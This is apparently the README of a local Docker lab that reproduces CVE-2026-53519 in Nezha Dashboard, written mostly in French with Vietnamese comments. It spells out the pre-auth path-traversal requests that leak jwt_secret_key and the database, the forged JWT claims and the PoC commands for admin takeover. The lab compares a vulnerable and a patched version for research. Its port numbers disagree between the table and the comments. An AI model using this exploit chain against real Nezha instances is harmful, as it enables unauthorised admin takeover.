
Docker lab reproduisant CVE-2026-53519, une traversée de chemin pré-authentification dans Nezha Dashboard qui divulgue jwt_secret_key et permet la falsification de JWT et la prise de contrôle administrateur.
Le lab met en évidence la vulnérabilité pre-auth path traversal via /dashboard.. prefix confusion dans
Nezha Dashboard, menant à la fuite de jwt_secret_key -> forge de JWT -> prise de contrôle admin.
Environnement Docker, séparation A/B selon la version pour comparer vuln vs patched.
| Image | URL (loopback) | Résultat attendu |
|---|
| Vulnerable | ghcr.io/nezhahq/nezha:v2.0.12 | http://127.0.0.1:9090 | fuite de config.yaml, prise de contrôle admin |
| Patched | ghcr.io/nezhahq/nezha:v2.0.13 | http://127.0.0.1:9091 | bloqué (404) |
Les deux ne se lient qu'à 127.0.0.1, pas d'exposition sur le LAN. Identifiants admin par défaut : admin / admin.
python) - pour parser le sqlite.db fuité (avec fallback si absent)# 1. Seed data + up 2 container (vuln 8080, patched 8081)
.\lab.ps1 reset
# 2. Smoke check nhanh
.\lab.ps1 validate
# 3. Chuoi khai thac day du tren VULN
powershell -ExecutionPolicy Bypass -File .\poc\poc-cve-2026-53519.ps1
# 4. Doi chung tren PATCHED (mong doi: bi chan)
powershell -ExecutionPolicy Bypass -File .\poc\poc-cve-2026-53519.ps1 -Patched
# 5. Negative controls (vi sao dung bien the nay moi leak)
powershell -ExecutionPolicy Bypass -File .\poc\negative-controls.ps1
Commandes de gestion :
.\lab.ps1 start | stop | status | logs [vuln|patched]
GET /dashboard../data/config.yaml -> fuite de jwt_secret_key.
GET /dashboard../data/sqlite.db -> récupération de l'id utilisateur admin (id=1).{user_id:"1", ip:"", exp:<future>} avec le secret fuité -> Authorization: Bearer <token>
-> GET /api/v1/profile (authentification) et GET /api/v1/user (endpoint admin uniquement) -> admin takeover.Détails de la root cause : voir analysis/ROOT_CAUSE.md et
analysis/vuln-vs-patch.diff.
Rapport complet : REPORT_CVE_2026_53519.md.
docker-compose.yml # A/B vuln (8080) vs patched (8081)
seed/config.yaml # seed jwt_secret_key co dinh (deterministic)
seed/lab_canary.txt # canary de minh hoa file read
lab.ps1 / lab-common.ps1 # quan ly + helper (raw HTTP, forge JWT HS256)
poc/poc-cve-2026-53519.ps1 # chuoi khai thac day du
poc/negative-controls.ps1 # doi chung cac bien the bi chan
poc/parse_users.py # parse sqlite.db leak -> user id admin
analysis/ROOT_CAUSE.md # phan tich + ban va
analysis/vuln-vs-patch.diff # diff controller.go v2.0.12 -> v2.0.13
evidence/ # output tu moi lan chay (leaked-config, token, userlist...)
Le lab est réservé à la recherche/éducation dans un environnement local. Le jwt_secret_key dans seed/config.yaml
est une valeur factice, uniquement pour la démo. Ne pas utiliser l'image/version vulnérable en production.